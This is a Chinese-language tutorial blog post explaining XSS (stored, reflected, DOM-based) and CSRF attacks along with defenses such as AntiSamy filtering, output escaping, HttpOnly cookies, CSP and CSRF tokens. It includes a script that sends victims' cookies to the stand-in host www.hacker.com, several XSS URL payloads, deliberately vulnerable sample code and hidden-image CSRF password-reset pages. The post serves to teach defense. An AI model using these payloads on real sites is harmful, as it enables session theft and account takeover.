Web安全攻防(一)XSS注入和CSRF

女友在高考發表於2022-01-19

跨站指令碼攻擊(XSS)

XSS(Cross Site Scripting),為不和層疊樣式表CSS混淆,故將跨站指令碼攻擊縮寫為XSS。

攻擊原理:

惡意攻擊者往Web頁面裡插入惡意Script程式碼,當使用者瀏覽該頁面時,嵌入其中的Script程式碼會被執行,從而達到惡意攻擊使用者的目的。

XSS攻擊按型別可以分為三種:

  • 儲存型XSS
  • 反射型XSS
  • DOM型XSS

1.1 儲存型XSS

儲存型XSS,顧名思義就是攻擊者上傳的惡意指令碼的資料被儲存到資料庫中,當頁面渲染的時候如果執行到這段指令碼,網站就會被攻擊。

這種攻擊常見於支援使用者儲存資料的網站,如論壇發帖、商品評論、使用者私信、留言等功能。

簡單示例1:

一個網站留言欄黑客輸入瞭如下內容

<script>alert('hello');</script>

如果網站沒做處理,那麼所有使用者開啟這個網站的留言欄都會彈出hello的一個框,嚴重影響了使用者體驗,甚至還可以竊取cookie。

簡單示例2:

竊取使用者cookie後傳送到黑客。直接傳送,可能會因為跨域而失敗,可以通過圖片標籤的方式繞過:

(function () {
 (new Image()).src = 'http://www.hacker.com/h?c=' +
    escape("url=" + document.location.href) +
    escape('&cookie=' + document.cookie);
})();

上面的http://www.hacker.com/h是一個controller,可以接收請求並將引數儲存。

1.2 反射型XSS

反射型XSS,又稱非持久型XSS,也已程式碼沒有被儲存到目標網站,而是通過引誘使用者點選一個惡意連結來實施攻擊。

示例:網站有一個功能的實現是將連結上引數的內容展示在網頁上。

後端程式碼:

@RequestMapping("/reflectxss")
    public String reflectxss(String content, ModelMap modelMap){
        modelMap.addAttribute("result",content);
        return "reflectxss";
  }

前端程式碼:

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <span th:utext="${result}"></span>
</body>
</html>

如果使用者引數裡是一個正常的資料還好,如果是黑客輸入一個js指令碼獲取cookie

http://localhost:8080/reflectxss?content=<script>alert(document.cookie)</script>

構建DOM

http://localhost:8080/reflectxss?content=<input type="button" value="登入"/>

1.3 DOM型XSS

DOM型XSS其實就是一種特殊型別的反射型XSS,它是基於DOM文件物件模型的一種漏洞,不需要與服務端進行互動。

示例程式碼:

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>domxss</title>
</head>
<body>
<title>測試</title>
<div id="mystr"></div>
<script type="text/javascript">
    function getQueryString(name) {
        var reg=new RegExp("(^|&)"+name+"=([^&]*)(&|$)");
        var r=window.location.search.substr(1).match(reg);
        if(r!=null){
            return decodeURI(r[2]);
        }else {
            return null;
        }
    }
    
    document.getElementById("mystr").innerHTML=(getQueryString("domxss"));
</script>
</body>
</html>

它會將連結中的引數取出來,然後用innerHtml的方式渲染。

  1. 注入js指令碼,未成功

http://localhost:8080/domxss.html?domxss=<script>alert('abc')</script>

使用innerHtml獲得的JS程式碼是不會被執行的,JS只有在頁面初次載入的時候才有效
2. 構造DOM

http://localhost:8080/domxss.html?domxss=<input type="button" value="登入" onClick="alert(document.cookie)"/>

  1. 利用img標籤

http://localhost:8080/domxss.html?domxss=<img src='http://www.hacker.com/attack.jpg' onerror='alert(110)'/>

img標籤的src填一個不存在的圖片,onerror裡的指令碼會被執行。

1.4 攻擊原理及危害分析

基本實現原理:

  1. 通過img標籤的src傳送資料
  2. 構造表單誘導使用者輸入賬號密碼
  3. 構造隱藏的form表單自動提交
  4. 頁面強制跳轉
  5. 植入文字連結、圖片連結
  6. 構造iframe
  7. 構造其他HTML標籤

潛在危害:

  1. 獲取其他使用者的Cookie,冒充身份登入
  2. 構造表單誘導使用者輸入賬號密碼,盜取賬密
  3. 跳轉到其他網站,竊取流量
  4. 植入廣告、外鏈
  5. 通過隱藏友鏈提升網站百度權重

1.5 XSS漏洞預防

  1. 對使用者的輸入進行驗證

包括前端頁面和後端,都需要對使用者輸入進行驗證和限制,包括輸入長度驗證、特殊字元限制。可以使用apache commons text、使用owasp AntiSamy等框架進行字元校驗

使用owasp AntiSamy:

<dependency>
    <groupId>org.owasp.antisamy</groupId>
    <artifactId>antisamy</artifactId>
    <version>1.5.8</version>
</dependency>
public class XSSEncode {

    static Policy policy;

    static {
        String path = XSSEncode.class.getClassLoader().getResource("antisamy-anythinggoes.xml").getFile();
        if(path.startsWith("file")){
            path=path.substring(6);
        }
        try {
            policy = Policy.getInstance(path);
        } catch (PolicyException e) {
            e.printStackTrace();
        }
    }

    public static String xssEncode(String value) throws PolicyException, ScanException {
        AntiSamy antiSamy=new AntiSamy();
        CleanResults results = antiSamy.scan(value, policy);
        //返回安全性的html
        return results.getCleanHTML();
    }

    public static void main(String[] args) throws ScanException, PolicyException {
        String s = xssEncode("<script>alert22</script>afdsf");
        System.out.println(s);
    }
}

使用 apache commons-text

 <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.5</version>
</dependency>
import org.apache.commons.text.StringEscapeUtils;
import org.owasp.validator.html.*;


public class XSSEncode2 {

    public static String xssEncode(String value){
//        StringEscapeUtils.escapeJson(value);
//        StringEscapeUtils.escapeEcmaScript(value);
        return StringEscapeUtils.escapeHtml4(value);
    }
}

  1. Cookie防護

將cookie設定為httponly

resp.setHeader("SET-COOKIE","JSESSIONID="+request.getSession().getId()+ "; HttpOnly")

  1. 設定frame、iframe限制

iframe可以配置三個策略:

  • DENY 不允許
  • SAMEORIGIN 可在相同域名頁面的iframe中展示
  • ALLOW-FROM uri 可在指定頁的frame中展示

nginx中配置:

add_header X-Frame-Options SAMEORIGIN;

filter中配置:

resp.setHeader("x-frame-options","SAMEORIGIN");
  1. 輸出時轉義

thymeleaf:

<!--非轉義輸出,原樣輸出-->
<td style="background:#FFF; padding: 3px;"
th:utext="${item.content}"></td>
<!--轉義輸出-->
<td style="background:#FFF; padding: 3px;"
th:text="${item.content}"></td>

JSP:

<!--預設true,進行轉義-->
<c:out value=" ${ content }" escapeXml="false" />
  1. dom型xss避免

避免使用innerHtml、outerHTML、document.write(),應使用textContent、setAttribute;尤其注意onclick、onerror、onload、onmouseover、eval()、setTimeout()、setInterval()
6. 富文字處理

做富文字的展示需求時,應特別注意,事件應該被嚴格禁止,因為富文字的需求裡不應該包括事件這種動態效果。富文字過濾中,處理CSS是一件比較麻煩的事情,如果允許使用者自定義CSS、則也可能導致XSS攻擊。比如儘可能的禁止使用者自定義CSS。

有些開源專案實現了對富文字的XSS檢查,Anti-Samy是OWASP上的一個開源專案,也是目前最好的XSS Filter。

1.6 內容安全策略防護

內容安全策略(CSP :Content-Security-Policy)是一個額外的安全層,用於檢測並削弱某些特定型別的攻擊,包括跨站指令碼和資料注入攻擊。

CSP通過指定有效域——即瀏覽器認可的可執行指令碼的有效來源——使伺服器管理者有能力減少或消除XSS攻擊所依賴的載體

CSP的分類:

  • Content-Security-Policy 配置好後,不符合的內容資源會被阻止載入
  • Content-Security-Policy-Report-Only 僅僅記錄違反限制的行為

配置的地方:

  1. 可以在http header上
  2. 可以在HTML上
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only"
content="策略">

配置語法:

示例:

  1. 限制所有外部資源,都只能從當前域名載入,不包含子域名‘
Content-Security-Policy: default-src 'self'
  1. 限制所有的外部資源,都只能從當前域名及其*.lagou.com域名載入
Content-Security-Policy: default-src 'self' *.lagou.com
  1. 圖片可以從任意地方載入,視訊只能從media1.com和media2.com載入,js只能從scripts.lagou.com載入
Content-Security-Policy: default-src 'self'; img-src *;
media-src media1.com media2.com; script-src scripts.lagou.com
  1. 僅允許從https://onlinebanking.abc.com網站訪問
Content-Security-Policy: default-src https://onlinebanking.abc.com

  1. 啟用違例報告
Content-Security-Policy: default-src 'self'; report-uri
http://reportcollector.example.com/collector.cgi

1.7 XSS漏洞掃描工具

常見的掃描工具有: Safe3WVS,Burp Suite ,AWVS,AppScan,W3af,
Arachni,Acunetix等

跨站請求偽造(CSRF)

CSRF攻擊的全稱是跨站請求偽造(cross site request forgery)。是一種對網站的惡意利用,聽起來跟XSS有點相似,但事實上CSRF與XSS差別很大。CSRF是通過使用者瀏覽器冒充使用者身份向伺服器發起偽造請求。

CSRF攻擊原理:

  1. 使用者開啟瀏覽器,訪問了受信任網站A,並且輸入使用者名稱密碼登入了網站A
  2. 使用者資訊通過驗證後,網站A產生了Cookie資訊並返回給瀏覽器,此時使用者登入網站A成功,可以正常傳送請求到網站A
  3. 使用者未退出網站A之前,同一個瀏覽器中又開啟一個TAB頁訪問了黑客的網站B
  4. 網站B收到使用者請求後,返回一些攻擊程式碼(呼叫網站A的介面)
  5. 瀏覽器接收到攻擊程式碼後,在使用者不知情的情況下攜帶Cookie資訊,向網站A發出請求。網站A並不知道請求其實是網站B發起的,所以執行了網站B的惡意程式碼。

示例:

你以為你訪問黑客的網站只是看了個美女,其實它偷偷把你其他網站A的密碼改了。因為你剛登陸了網站A,所以如果沒有其他驗證的話你的密碼就被改了。

程式碼如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>美女圖片</title>
</head>
<body>
    <img src="images/801910ac238baefd3271af9d684691f1.jpeg" />
    <img src="http://localhost:8080/resetPassword" />
</body>
</html>

攻擊方式:

get請求:

<img src="http://www.study.com/admin/resetPassword?id=1" />
<iframe src="http://www.study.com/admin/resetPassword?id=1"
style='display:none'></iframe>

post請求:

隱藏表單、自動提交,把功能通過iframe引入新頁面

<iframe src="form.html" style='display:none'></iframe>

CSRF安全防護

  1. referer校驗

校驗referer是否從本網站發起的

  1. 二次驗證

比如加一些驗證碼,修改密碼的時候需要輸入原密碼等等

  1. token驗證

使用者訪問正常網站的時候伺服器生成一個token,並且給到客戶端。客戶端每次請求都要帶上,校驗通過才行。而你訪問黑客的網站的時候,他拿不到你的token所以不能請求成功。

CRSR掃描工具

CSRFTester是一款CSRF漏洞的測試工具,此工具的測試原理如下:它使用代理抓取瀏覽器中訪問過的連線以及表單等資訊,通過在CSRFTester中修改相應的表單等資訊,重新提交,相當於一次偽造客戶端請求,如果被測試的請求成功被網站伺服器接受,則說明存在CSRF漏洞,否則不存在。此款工具也可以被用來進行CSRF攻擊

相關文章